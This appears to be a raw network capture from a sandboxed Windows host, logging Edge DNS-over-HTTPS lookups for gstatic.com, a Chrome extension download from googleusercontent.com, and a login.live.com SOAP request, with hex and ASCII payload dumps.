2024-11-25 02:39:47 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 f3 00 04 8e fb 20 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom c)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.8	49776	172.64.41.3	443	7540	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:39:46 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-25 02:39:46 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-25 02:39:47 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 25 Nov 2024 02:39:46 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e7e452e8fc74396-EWR alt-svc: h3=":443"; ma=86400
2024-11-25 02:39:47 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 03 00 04 8e fb 20 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom c)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.8	49781	172.64.41.3	443	7540	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:39:46 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-25 02:39:46 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-25 02:39:47 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 25 Nov 2024 02:39:46 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e7e452e891e43df-EWR alt-svc: h3=":443"; ma=86400
2024-11-25 02:39:47 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 dc 00 04 8e fa b0 c3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.8	49771	142.250.181.97	443	7540	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:39:47 UTC	594	OUT	GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 02:39:47 UTC	573	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 138356 X-GUploader-UploadID: AFiumC5isHQgmb4u0tVksA5hf1k3MbnVznHKmZB6lTKqoNZctsPSRpHdFo-Oey6vXSF6fQvBhWylcQdPxw X-Goog-Hash: crc32c=ld9IFg== Server: UploadServer Date: Sun, 24 Nov 2024 16:45:00 GMT Expires: Mon, 24 Nov 2025 16:45:00 GMT Cache-Control: public, max-age=31536000 Age: 35687 Last-Modified: Tue, 19 Nov 2024 16:44:49 GMT ETag: 2373c8b9_cba0b209_e851cacf_d4df989e_81c52a41 Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-25 02:39:47 UTC	817	IN	Data Raw: 43 72 32 34 03 00 00 00 e0 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-11-25 02:39:47 UTC	1390	IN	Data Raw: 5f b2 be 56 5f e7 71 3a 5f 86 5f 7f f9 35 7d d5 75 53 5c 9b ff 18 eb af ff 78 3f ab fa d7 9f 7e 5d cf 1f 43 2d ff b3 ba 0c 53 3d 4c bf fe f2 f7 5f 63 f1 50 97 42 ea cf d7 8f b0 2d 4d db 10 dc 36 32 b3 69 2a b3 51 d5 e3 f8 c4 ad eb 39 ef e7 ef dc 9c de 2b 53 3d 89 f4 f8 84 0e 2f 36 3a df cf c2 57 83 c8 90 71 6c 2f 67 fd f9 26 6a a9 79 fc f9 7b af ae 22 8b ce b1 9a fe 7c 1c dc 46 fa 1f e7 f8 7c 9c a3 f6 e3 56 f9 f6 f0 f3 99 aa 77 be 25 74 2e 79 86 2e 3f df 17 26 e2 e2 61 cc 9c 7f 3c d2 6e c2 88 c1 89 f6 53 2b 7c d4 17 3d 05 72 61 c7 0a 84 08 01 b1 27 7d f8 28 82 70 57 fb c2 16 8f d0 39 05 d7 73 e5 43 a3 d8 1f 9f 8e ca b9 96 26 6a 4a 9f 2d 27 13 f6 27 13 a8 ca 42 8d 30 f5 75 3f 2e a5 b9 3b 9f f6 e1 a3 34 9d 7f cf f3 e7 d9 c2 b9 f0 d4 c0 ac e6 90 42 86 4e 5c Data Ascii: _V_q:__5}uS\x?~]C-S=L_cPB-M62i*Q9+S=/6:Wql/g&jy{"\|F\|Vw%t.y.?&a<nS+\|=ra'}(pW9sC&jJ-''B0u?.;4BN\
2024-11-25 02:39:47 UTC	1390	IN	Data Raw: 8e b5 a1 c8 fb ee 81 60 65 eb 98 45 ab ec b5 f7 df 38 3e ce 17 36 8b 4c d7 7b 85 4d 64 18 16 65 b0 90 1e f2 cb 03 4c 8a 00 e1 48 79 96 ec 9b 3d f6 a0 d6 80 10 57 0f 10 60 43 7e af 8e 3f 1c b7 7a ee 1d 59 c2 29 1a 94 12 c6 ec 9e 28 ba 47 74 ea a9 92 fb f2 20 bd f4 20 c3 8a 8a 04 03 ec 56 83 d6 68 aa f5 88 d1 39 0a d6 d7 be fa 7f 68 70 d5 e2 31 37 1a 25 03 f1 55 98 2a 4b bd 68 22 81 eb 25 ad 18 84 19 e6 b8 d7 a1 60 b9 67 e1 89 9c f6 e2 ad 52 d0 c5 a6 dc ad e7 9e dc ca 7f d2 3e 77 87 7d e1 a1 a5 e9 a4 17 9a 04 c0 1e 05 42 14 c6 78 22 8b d6 00 1f f3 28 78 31 13 f3 7e 67 01 4e 72 8a 0f 75 ff 71 5f e5 6f 6d cd bd d1 43 0a 76 99 35 be 4a e5 2d 31 6c 3a 02 10 c5 56 13 ea 1e 23 15 1d 58 74 af 43 75 3d f0 13 03 bc 22 a2 fc ca 82 66 b9 ee fd 2e c5 46 f6 b8 53 d7 bc Data Ascii: `eE8>6L{MdeLHy=W`C~?zY)(Gt Vh9hp17%U*Kh"%`gR>w}Bx"(x1~gNruq_omCv5J-1l:V#XtCu="f.FS
2024-11-25 02:39:47 UTC	1390	IN	Data Raw: eb 3e aa 67 36 b6 c2 7d dd cf 6f 71 6a 3c aa 40 7e 15 06 ce 18 81 87 14 8e b0 58 44 27 7a dd 77 ac b1 b7 dc 66 ab cf 89 e9 ce a6 3c ec 05 3f 02 02 d8 27 ea 46 4f 70 bb e1 2d 44 84 4e 09 f6 ed 1b e9 1b c5 3d 68 a6 0c d9 75 0f 3f b1 8e cd 35 f6 95 bf 91 bd 1a 69 d1 42 51 b5 ee b9 e2 ce 89 50 6c 26 16 de 89 5e bc e6 c4 fd 26 da f5 e3 ce 69 10 77 1e cc c8 01 e9 9e 41 6a 55 a0 38 bc ac b1 bf 6b be 7b ba 51 77 aa c0 9b 05 fc b0 44 37 6a e6 e1 c0 0e 78 4a 7b 14 13 4f eb 10 ed ee 3f fb 8d c4 1f af b9 25 7e f2 af cb 87 f0 11 f9 c7 c7 ff c1 df c8 80 4b b7 c6 3f 03 ce 51 66 ae c1 bd e9 35 31 9c a0 54 88 27 0b eb 52 98 2c 14 76 36 e7 d3 53 74 70 f3 94 48 50 51 74 c1 6a 6c c5 02 57 75 bf ea 37 d6 5c 85 75 ff 1a de 92 f6 c3 8e 3c db 2b f4 fc 0a bf 49 4b a8 ce 14 7e 00 Data Ascii: >g6}oqj<@~XD'zwf<?'FOp-DN=hu?5iBQPl&^&iwAjU8k{QwD7jxJ{O?%~K?Qf51T'R,v6StpHPQtjlWu7\u<+IK~
2024-11-25 02:39:47 UTC	1390	IN	Data Raw: 48 3f c7 20 98 a3 4a ae e7 0e 9d 1f 06 63 15 24 ff cb b8 61 7b a2 4e 58 74 c0 4c 09 86 ba 97 48 e8 03 c4 a9 0f ee 35 65 bd 60 e1 21 a1 18 44 a6 bd 68 e1 33 23 9a dc 91 a1 d2 1c 38 bf d3 98 ca 64 0f d9 ab 56 8f 6d 95 56 f8 a5 e3 ec 3d ef d5 2d b3 5c 3d e6 ff 3a fe 0d 19 c0 60 d4 b8 23 8f b9 88 da a3 ee df 88 f6 ec a7 9c 21 9f 2e 21 cc 81 f2 75 fd ed 12 f6 f3 fe 52 6a 9f db f0 a2 fb e9 a7 81 d4 f7 eb f5 58 53 9e 25 3f f7 32 7e 98 ff 3b 96 ae c7 fe 9f e7 2d df ff f0 9c e5 bf be 3b 4a 9f 4d 99 a9 ba 7f 9d 95 6c 74 8c da b7 42 c7 85 e0 d3 bd e4 8e ca 4d fb 56 f6 ea 5a f6 b6 f6 9f f3 77 e9 37 5f 85 df 9d ff fb bb 96 8e e7 01 8d 3f b9 f3 73 16 f3 d4 7e 18 a7 d6 fb f9 ff 5d c7 97 a1 e3 ee bb 84 8e a9 59 2c 05 d7 fa d6 5e e6 f7 e4 df 87 46 8b e9 f6 55 5f 7f fd e5 Data Ascii: H? Jc$a{NXtLH5e`!Dh3#8dVmV=-\=:`#!.!uRjXS%?2~;-;JMltBMVZw7_?s~]Y,^FU_
2024-11-25 02:39:47 UTC	1390	IN	Data Raw: 50 3d 5b 7f a3 9a c1 c2 43 a0 f0 9c cf 84 2c dc 6f 77 dd ff 5e 04 27 23 01 db 3b d0 22 fa fd ca c2 00 94 91 17 e4 5e bb e4 28 b3 f2 09 87 4b 75 14 8e e0 c2 6f 3a 13 0a 28 96 4a ee 0a 6a 2c 09 f3 2c c2 e9 23 6a 8c ec 09 a0 e8 96 87 84 d2 68 a5 cd ca f5 ec 0a 46 60 f9 be 7b e8 5e a6 f5 2e a5 46 6e c8 a6 db bc 01 50 4b 07 08 1d fb 12 3a a0 00 00 00 23 01 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 72 6f 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 c1 4e 1c 31 0c bd f3 15 d6 9c 8a 34 a0 65 7b 82 1b 82 55 4f 85 aa 2d 97 aa 17 6f c6 b3 58 ca 38 51 Data Ascii: P=[C,ow^'#;"^(Kuo:(Jj,,#jhF`{^.FnPK:#PK!-_locales/ro/messages.jsonUT6*g Ad/RN14e{UO-oX8Q
2024-11-25 02:39:47 UTC	1390	IN	Data Raw: ee 12 87 56 cb 68 4b 0f 6e 3d 2c 91 9f b7 f2 c2 8f 9e 81 ed 64 91 89 5f c8 93 db ec d7 38 3e f4 ec 97 19 5a 11 ad f3 b8 82 28 3a 6c b3 ee 24 e1 50 fb 79 09 cf f1 ad 57 e9 76 70 aa 85 35 32 aa 0a 0f 41 0d 1c 63 cf 15 51 0d 8c 44 97 9c 43 b8 94 04 8f 60 5f 09 e2 4b c0 6e a2 3a 29 12 e1 86 4f 49 97 b9 92 11 e2 5a d6 16 fc 60 20 03 a5 d7 f5 68 06 5f 65 93 9a dd ad 65 97 51 8b ac 05 b4 69 a5 64 30 17 f8 1c 4a 1d 10 6c a0 02 36 20 1b 29 c2 cd 6a e6 f5 e9 55 66 60 81 a8 0e 0c 0c 22 4a e0 41 05 8c 7f 9c 57 46 cf 54 ff 32 7c 7d 9b 6e 4b 1e be a1 2b 8b 2c ea 96 fa 5c 18 5d 04 b1 51 7c 89 a2 45 6d 3a 0b 61 c3 6f a2 78 04 e6 19 c0 10 c1 b2 2f e8 63 ec 0d 6c f9 20 a0 26 d6 8b ea b0 75 64 be 5d fd c4 70 d9 3b b5 ed d4 f1 bc 8d 4d 4a b4 8e 05 bc 1a 18 57 05 34 4d 40 13 Data Ascii: VhKn=,d_8>Z(:l$PyWvp52AcQDC`_Kn:)OIZ` h_eeQid0Jl6 )jUf`"JAWFT2\|}nK+,\]Q\|Em:aox/cl &ud]p;MJW4M@
2024-11-25 02:39:47 UTC	1390	IN	Data Raw: 8f 15 60 c1 98 b9 ab 80 ac 82 c5 04 63 89 63 38 bd 2a 36 1c e9 9a 44 2a 3c 4e 2d ee 92 46 8e 50 dc e3 94 bb f5 61 c2 1d cf 5c 48 24 42 49 6c 12 12 d7 49 d9 ae b5 78 32 3e ee bd 6d 14 36 10 04 42 78 75 49 e8 56 12 9a c0 f8 4e 5b 9e a8 18 48 07 60 fa c4 f3 b8 1c e9 66 42 8d 56 0a 4d 3a 20 57 32 60 3d 87 5b 12 2d 22 e5 44 56 25 e1 21 a6 58 0d e8 46 f5 04 83 06 0e 87 28 fb a4 f0 19 18 b8 02 88 01 7c 80 61 ef 0c 9c e0 24 d3 07 48 c9 09 3f e2 9c 5e e9 89 97 4b 26 3f f6 66 0d 22 cf 03 86 52 31 81 e4 3a 97 fa 54 dc fb b0 49 d9 ef a1 7d 1a 46 e5 77 f4 02 a7 fd a6 7b 35 4f fa 61 2c 0d 6e 07 7a 72 4d 94 18 5d f3 fe 4e 2c 30 9b 6d f6 54 60 d0 58 d4 81 d8 05 43 89 9b 2d 91 75 b1 84 72 e5 82 16 5a a8 d1 8f 71 28 22 a2 ed 69 03 7e 0f 3a 87 3c 26 69 4c 4d 0a 36 d7 c7 a7 Data Ascii: `cc86D<N-FPa\H$BIlIx2>m6BxuIVN[H`fBVM: W2`=[-"DV%!XF(\|a$H?^K&?f"R1:TI}Fw{5Oa,nzrM]N,0mT`XC-urZq("i~:<&iLM6
2024-11-25 02:39:47 UTC	1390	IN	Data Raw: 3f a2 77 74 f9 39 14 92 6f 30 19 61 42 16 3c c5 8e d8 b3 84 2e 10 d8 71 39 f8 5c 22 7b 60 27 ee 3a 3f 1a 26 6a f5 a8 f2 1f 13 ad 85 fc dd 51 24 58 d5 3c 25 19 9d fa 2b 81 d6 c7 4d 37 fd 9a e2 f2 53 ad 5f c1 c9 b9 41 f8 0f 77 84 84 39 d5 5c 7f 74 b0 dd bb 43 ac e6 be ce d5 bf df bb 77 82 1b a6 ff 9c 05 67 3a 77 fe 7a f2 5d 9a 09 4d 66 b5 8d f8 e6 d8 2d cb 4e 6d ee a3 82 48 7b c6 a8 5d b2 e8 52 97 3d e5 a5 b8 ef 36 ad cf 46 de f8 e7 8e 98 46 5f 0f 08 b5 d5 be 41 c5 77 eb e3 54 28 7a 31 07 87 c9 e3 1b f0 13 22 9f 73 e2 40 ce 5e e0 09 2d 54 01 dc 63 06 df 9b 0e c1 43 bf 5c bc 02 50 4b 07 08 c0 47 8a 9f 88 01 00 00 46 03 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6b 6d 2f 6d 65 73 Data Ascii: ?wt9o0aB<.q9\"{`':?&jQ$X<%+M7S_Aw9\tCwg:wz]Mf-NmH{]R=6FF_AwT(z1"s@^-TcC\PKGFPK!-_locales/km/mes
2024-11-25 02:39:47 UTC	1390	IN	Data Raw: c1 c2 b3 df 74 6f 40 46 69 27 57 e6 ee 9e df fa e6 7c 6c 22 ff dc fc cd 83 bf 84 75 53 df fb 95 fb e0 a6 5b e2 f7 c1 5f 87 cb 78 0d a9 ac a4 0c 68 8e 44 f1 68 52 0e 42 cf 48 31 70 61 e4 4c d1 69 c5 a7 46 2f 04 a6 71 7a 9a be 86 7e 9a df 4a 91 d1 b6 e2 f0 34 96 a4 11 21 a4 4d e9 67 b4 5d b3 aa 52 cd 51 3d 41 bb 66 f2 ab fd 2b c2 fc 18 cf 78 47 7c 50 e9 5f 0e f0 9b c4 43 6a 2a f2 42 35 42 84 04 d7 70 02 ab 0d b5 b1 89 32 98 e2 55 e6 4f d6 3f 1c 81 d7 4f df 01 50 4b 07 08 80 81 20 9b 32 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 6b 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 Data Ascii: to@Fi'W\|l"uS[_xhDhRBH1paLiF/qz~J4!Mg]RQ=Af+xG\|P_CjB5Bp2UO?OPK 2PK!-_locales/sk/messages.jsonUT6g Ad/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.8	49763	20.190.177.147	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:39:47 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-25 02:39:47 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-25 02:39:47 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 25 Nov 2024 02:38:47 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C516_SN1 x-ms-request-id: 0dd3bcb3-af7e-4c8c-b7ea-d604618b1d21 PPServer: PPV: 30 H: SN1PEPF0003F19C V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 25 Nov 2024 02:39:47 GMT Connection: close Content-Length: 11389
2024-11-25 02:39:47 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.8	49791	162.159.61.3	443	7540	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:39:47 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-25 02:39:47 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-25 02:39:48 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 25 Nov 2024 02:39:47 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e7e45344dd38ca1-EWR alt-svc: h3=":443"; ma=86400
2024-11-25 02:39:48 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 13 00 04 8e fb 23 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 